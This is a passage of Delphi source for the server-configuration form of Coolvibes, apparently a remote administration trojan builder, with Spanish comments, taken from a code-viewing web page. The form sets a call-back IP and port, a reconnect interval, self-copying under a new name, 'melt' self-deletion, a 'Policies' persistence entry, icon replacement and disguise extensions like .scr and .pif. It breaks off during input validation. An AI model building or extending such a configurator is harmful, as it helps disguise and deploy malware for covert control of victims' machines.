📄 unitformconfigserver.pas
字号:
unit UnitFormConfigServer;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons,
SettingsDef, {Esta es la unidad para leer la configuracion}
MadRes, {Unidad para cambiar el icono de un EXE}
ExtCtrls, ComCtrls,
UnitVariables;
type
TFormConfigServer = class(TForm)
EditID: TEdit;
EditServerPath: TEdit;
LabelPath: TLabel;
BtnBrowse: TSpeedButton;
OpenDialog: TOpenDialog;
GroupBox1: TGroupBox;
ScrollBox1: TScrollBox;
BtnGuardarConfig: TSpeedButton;
Bevel1: TBevel;
Label1: TLabel;
EditIP: TEdit;
Label2: TLabel;
EditPuerto: TEdit;
Label3: TLabel;
Bevel2: TBevel;
Bevel3: TBevel;
Label4: TLabel;
ImageIcon: TImage;
Bevel4: TBevel;
StatusBar: TStatusBar;
BtnSalir: TSpeedButton;
Label5: TLabel;
EditTimeToNotify: TEdit;
Label6: TLabel;
MemoOutput: TMemo;
CheckBoxCopiar: TCheckBox;
Label7: TLabel;
Label8: TLabel;
EditFileName: TEdit;
GrpBoxCopiarA: TGroupBox;
CheckBoxMelt: TCheckBox;
Label11: TLabel;
Bevel5: TBevel;
Label12: TLabel;
CheckBoxPolicies: TCheckBox;
Label14: TLabel;
Label15: TLabel;
EditPoliciesName: TEdit;
Bevel6: TBevel;
EditCopyTo: TEdit;
ImageHintCopiarA: TImage;
procedure BtnBrowseClick(Sender: TObject);
procedure EditPuertoExit(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure ImageIconClick(Sender: TObject);
procedure BtnGuardarConfigClick(Sender: TObject);
procedure BtnSalirClick(Sender: TObject);
procedure EditTimeToNotifyExit(Sender: TObject);
procedure EditPuertoKeyPress(Sender: TObject; var Key: Char);
procedure EditPuertoEndDrag(Sender, Target: TObject; X, Y: Integer);
procedure EditIPKeyPress(Sender: TObject; var Key: Char);
procedure CheckBoxCopiarClick(Sender: TObject);
procedure CheckBoxPoliciesClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
IconPath : string;
function ComprobarDatosValidos(): Boolean;
public
{ Public declarations }
end;
var
FormConfigServer: TFormConfigServer;
implementation
{$R *.dfm}
procedure TFormConfigServer.FormShow(Sender: TObject);
begin
StatusBar.Panels[0].Text := 'Seleccione el servidor que desea modificar.';
IconPath := '';
EditServerPath.Text := '';
MemoOutput.Clear;
MemoOutput.Lines.Append('> Listo.');
//Icono por defecto
if FileExists(ExtractFilePath(ParamStr(0))+'Imagenes\ExeBMP.bmp') then
ImageIcon.Picture.LoadFromFile(ExtractFilePath(ParamStr(0))+'Imagenes\ExeBMP.bmp');
CheckBoxCopiarClick(Sender); //Para que desactive o active los campos
CheckBoxPoliciesClick(Sender);//Para que desactive o active los campos
end;
procedure TFormConfigServer.BtnBrowseClick(Sender: TObject);
begin
with OpenDialog do
begin
Title := 'Abrir servidor de Coolvibes ' + VersionCool + '...';
Options := [ofFileMustExist]; //solo deja seleccionar archivos que existan
Filter := 'Servidor de Coolvibes (*.exe, *.pif, *.scr, *.com, *.bat, *.cmd)|*.exe;*.pif;*.scr;*.com;*.bat;*.cmd|Todos los archivos (*.*)|*.*';
DefaultExt := 'exe';
InitialDir := GetCurrentDir();
if Execute then
EditServerPath.Text := FileName;
end;
end;
//Funci髇 para comprobar que todos los datos son validos
function TFormConfigServer.ComprobarDatosValidos(): Boolean;
var
s : string;
begin
Result := True;
//Comprobamos que sean correctos los datos del EditServerPath
if EditServerPath.Text = '' then
begin
//No seleccionaron servidor
BtnBrowseClick(Nil);
Result := False;
Exit;
end;
//Comprobamos que sean validos los datos del EditPuerto
if (StrToIntDef(EditPuerto.Text, -1) = -1) or
(StrToInt(EditPuerto.Text) > 65535) or
(StrToInt(EditPuerto.Text) < 1) then
begin
StatusBar.Panels[0].Text := 'El puerto debe ser un n鷐ero entre 1 y 65535';
MessageBeep($FFFFFFFF); //Suena un ruidito..., para informar que hay que mirar la StatusBar :)
EditPuerto.SetFocus;
Result := False;
exit;
end;
//Comprobamos que sean correctos los datos del EditTimeToNotify
if (StrToIntDef(EditTimeToNotify.Text, -1) = -1) or
(StrToInt(EditTimeToNotify.Text) < 1) then
begin
StatusBar.Panels[0].Text := '"Intentar conectar cada" debe ser un valor n鷐erico superior a 0';
MessageBeep($FFFFFFFF); //Suena un ruidito..., para informar que hay que mirar la StatusBar :)
EditTimeToNotify.SetFocus;
Result := False;
exit;
end;
//comprobamos que sea correcto el nombre para copiar
if CheckBoxCopiar.Checked then
begin
s := ExtractFileExt(EditFileName.Text);
if s = '' then EditFileName.Text := EditFileName.Text +'.exe';
if (s <> '.exe') and (s <> '.com') and (s <> '.scr') and (s <> '.pif') and (s <> '.bat') and (s <> '.cmd') then
begin
StatusBar.Panels[0].Text := 'Extensi髇 no v醠ida. Debe ser: .exe, .com, .scr, .pif, .bat
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -